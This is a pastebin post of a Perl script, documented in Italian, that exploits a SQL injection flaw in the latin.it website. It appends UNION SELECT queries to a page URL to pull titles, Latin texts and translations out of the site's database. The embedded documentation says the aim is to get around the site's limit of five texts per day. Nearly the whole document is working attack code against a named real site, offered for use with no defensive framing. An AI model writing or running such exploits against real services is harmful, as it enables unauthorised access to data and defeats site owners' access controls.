plucky
By: a guest | Jul 29th, 2010 | Syntax:
Perl | Size: 2.11 KB | Hits: 29 | Expires: Never
#!/usr/bin/env perl
use strict;
use warnings;
use LWP::Simple;
# Thanks To: _mRkZ_ and shrod
my $versione = '';
my $id = $ARGV[0] || die 'perldoc ', $0, "\n";
my $pagina_buggata = 'http://www.latin.it/versione/1';
sub recupera_titolo
{
my $titolo = '';
my $query = '';
my $pagina_html = '';
my $id = 0;
$id = shift;
$query = '+union+all+select+1,2,3,titolo,5,6+from+versioni+where+id='.$id.'--';
$pagina_html = get($pagina_buggata.$query);
$pagina_html =~ m{left;">(.*?)<br>}xms;
$titolo = $1;
return $titolo;
}
sub recupera_testo_latino
{
my $testo = '';
my $query = '';
my $pagina_html = '';
my $id = 0;
$id = shift;
$query = '+union+all+select+1,2,3,versione,5,6+from+versioni+where+id='.$id.'--';
$pagina_html = get($pagina_buggata.$query);
$pagina_html =~ m{left;">(.*?)<br>}xms;
$testo = $1;
return $testo;
}
sub recupera_testo_tradotto
{
my $testo = '';
my $query = '';
my $pagina_html = '';
my $id = 0;
$id = shift;
$query = '+union+all+select+1,2,3,traduzione,5,6+from+versioni_traduzioni+where+id='.$id.'--';
$pagina_html = get($pagina_buggata.$query);
$pagina_html =~ m{left;">(.*?)<br>}xms;
$testo = $1;
return $testo;
}
my $titolo_versione = recupera_titolo( $id );
my $testo_versione = recupera_testo_latino( $id );
my $testo_tradotto = recupera_testo_tradotto( $id );
print 'Titolo: ', $titolo_versione, "\n\n";
print 'Testo Latino', "\n", $testo_versione, "\n\n";
print 'Testo Italiano', "\n", $testo_tradotto, "\n";
=head1 NAME
Latin.pl - Script per il bypass del limite su latin.it
=head1 SYNOPSIS
perl latin.pl <id versione>
=head1 DESCRIPTION
Latin.it offre la visualizzazione di 5 versioni al giorno
decisamente insufficiente. Questo script sfrutta una vulnerabilita'
SQL Injection per ottenere la visualizzazione dei brani dal DB
aggirando ogni controllo.
=head1 AUTHOR
plucky
=head1 SEE ALSO
http://www.unitx.net
=cut